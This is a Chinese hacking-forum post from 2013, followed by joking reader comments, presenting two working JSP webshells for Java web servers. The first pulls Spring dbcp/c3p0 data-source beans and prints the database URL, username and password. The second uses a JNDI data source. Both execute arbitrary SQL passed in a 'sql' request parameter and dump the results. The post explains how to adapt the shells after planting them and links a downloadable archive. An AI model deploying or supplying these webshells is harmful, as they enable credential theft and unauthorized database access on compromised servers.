哦,My God..ApplicationContext.xml找不到明文的数据库连接账号密码!快崩溃了,看过攻击JavaWeb应用[1]-JavaEE 基础 和攻击JavaWeb应用[7]-Server篇[1]也没能找到数据库密码。
在ApplicationContext看到了dbcp或c3p0的配置,但是那里也没写明文的密码啊?到底要怎么连接数据库?
上图配置了两种常见的数据源,可以一眼就看到数据源具体连接信息。其实我们只需要知道数据源的id就可以连接数据库了。
<bean id=”jwDataSource” 、<bean id=”dataSourceGlobal” 上面两个数据源的id分别是jwDataSource和dataSourceGlobal,现在要做的就是在jsp里面去注入对应的bean获取数据库连接。
上次我贴了一段通过Tomcat等Server的数据源连接数据库的代码,其实原理都是一样的找到数据源的id即可连接数据库。
<%@page import="com.mchange.v2.c3p0.ComboPooledDataSource"%> <%@page import="javax.sql.DataSource"%> <%@page import="java.sql.ResultSetMetaData"%> <%@page import="java.sql.ResultSet"%> <%@page import="java.sql.Connection"%> <%@page import="org.apache.commons.dbcp.BasicDataSource"%> <%@page import="org.springframework.context.ApplicationContext"%> <%@page import="org.springframework.web.context.support.WebApplicationContextUtils"%> <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <style> th,td {border:1px solid #C1DAD7;font-size:12px;padding:6px;color: #4f6b72;} </style> <% ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(getServletContext()); DataSource bds = (DataSource)ctx.getBean("jwDataSource"); out.println("dbcp:<br/>"); //dbcp方式 BasicDataSource dbcp = (BasicDataSource)ctx.getBean("jwDataSource"); out.println("URL:"+dbcp.getUrl()+"<br/>UserName:"+dbcp.getUsername()+"<br/>PassWord:"+dbcp.getPassword()+"<br/>"); out.println("<hr/>c3p0:<br/>"); //c3p0 ComboPooledDataSource c3p0 = (ComboPooledDataSource)ctx.getBean("dataSourceGlobal"); out.println("URL:"+c3p0.getJdbcUrl()+"<br/>UserName:"+c3p0.getUser()+"<br/>PassWord:"+c3p0.getPassword()+"<br/>"); out.println("<hr/>Sql:<font color='red'>"+request.getParameter("sql")+"</font><br/>"); out.println("<hr/>DataSource:<br/>"); Connection c = bds.getConnection(); ResultSet rs = c.prepareStatement(request.getParameter("sql")).executeQuery(); ResultSetMetaData d = rs.getMetaData(); out.println("<table><tr>"); for (int i = 1; i <= d.getColumnCount(); i++) { out.println("<th>"+d.getColumnName(i)+"("+d.getColumnTypeName(i)+")\t"+"</th>"); } out.println("<tr/>"); while (rs.next()) { out.println("<tr>"); for (int i = 1; i <= d.getColumnCount(); i++) { out.println("<td>"+rs.getObject(d.getColumnName(i))+"</td>"); } out.println("<tr/>"); } %>
效果图:
请求:http://localhost:8080/ylog/spring.jsp?sql=select id,account,email,qq,sign from wps_sys_user会输出数据源账号密码、连接数据库的URL。
现在需要做的就是确定到底是什么类型的数据源?如果是dbcp就删除c3p0对应的部分就行了(需要删除
<%@page import="com.mchange.v2.c3p0.ComboPooledDataSource"%>、 //c3p0 ComboPooledDataSource c3p0 = (ComboPooledDataSource)ctx.getBean("dataSourceGlobal"); out.println("URL:"+c3p0.getJdbcUrl()+"<br/>UserName:"+c3p0.getUser()+"<br/>PassWord:"+c3p0.getPassword()+"<br/>");
不删除会报错的哦,DBCP同理。如果俩都不确定只需要查询数据库就行了,不想知道数据库账号密码。那么可以吧它俩都干掉!)。
使用Server自带的数据源:
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <%@page import="java.io.File"%> <%@page import="java.io.FileWriter"%> <%@page import="java.io.BufferedWriter"%> <%@ page import="java.sql.*"%> <%@ page import="javax.sql.*"%> <%@ page import="javax.naming.*"%> <html> <body> <style> th,td {border:1px solid #C1DAD7;font-size:12px;padding:6px;color: #4f6b72;} </style> <!-- 使用方法:修改java:comp/env/jdbc/tfms为你自己的数据源名字 请求http://xxx.com/xxx.jsp?sql=select xxx from xxx即可 --> <% Context ctx = new InitialContext(); DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/ylog"); ResultSet rs = ds.getConnection().prepareStatement(request.getParameter("sql")).executeQuery(); ResultSetMetaData d = rs.getMetaData(); out.println("Sql:<font color='red'>"+request.getParameter("sql")+"</font><br/>"); out.println("<table><tr>"); for (int i = 1; i <= d.getColumnCount(); i++) { out.println("<th>"+d.getColumnName(i)+"("+d.getColumnTypeName(i)+")\t"+"</th>"); } out.println("<tr/>"); while (rs.next()) { out.println("<tr>"); for (int i = 1; i <= d.getColumnCount(); i++) { out.println("<td>"+rs.getObject(d.getColumnName(i))+"</td>"); } out.println("<tr/>"); } rs.close(); %> </body> </html>
有的时候并不需要找到这段配置:
只需要在配置文件里面找到java:comp/env/jdbc/ylog就行了(其他Server同理):
测试Sql执行成功.
下载地址:jndi-spring.jsp.zip
PHPtoJava:http://p2j.cn/?p=447
发帖子有点赶。马上得出去跟小伙伴儿搞基,如果有什么错误请见谅。
相关讨论:
1#
啦绯哥 | 2013-12-29 15:36
小伙伴爆了
2#
无敌L.t.H (:?门安天京北爱我?) | 2013-12-29 15:40
园长又在教坏祖国花朵了。
3#
sky (()()()()()(等级:史上无敌最佳新人白帽子) | 2013-12-29 15:47
@啦绯哥 叫你昨晚轻点,你不听,弄疼人家了
4#
啦绯哥 | 2013-12-29 16:00
@sky 鸡皮疙瘩起了一层,你还不去吃火锅。。。
5#
RedFree (?1:1 1-1-4102 |※(器杀制自) | 2013-12-29 16:18
……………………………………………………………………………………………………………………………
6#
hacker@sina.cn | 2013-12-29 16:50
mark
7#
clzzy (南无阿弥陀佛) | 2013-12-30 15:08
BIU图片视频链接<code>
8#
小胖子 (流泪撒种的,必欢呼收割。) | 2013-12-30 15:11
么么哒。
9#
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-30 17:03
mark.
留言评论(旧系统):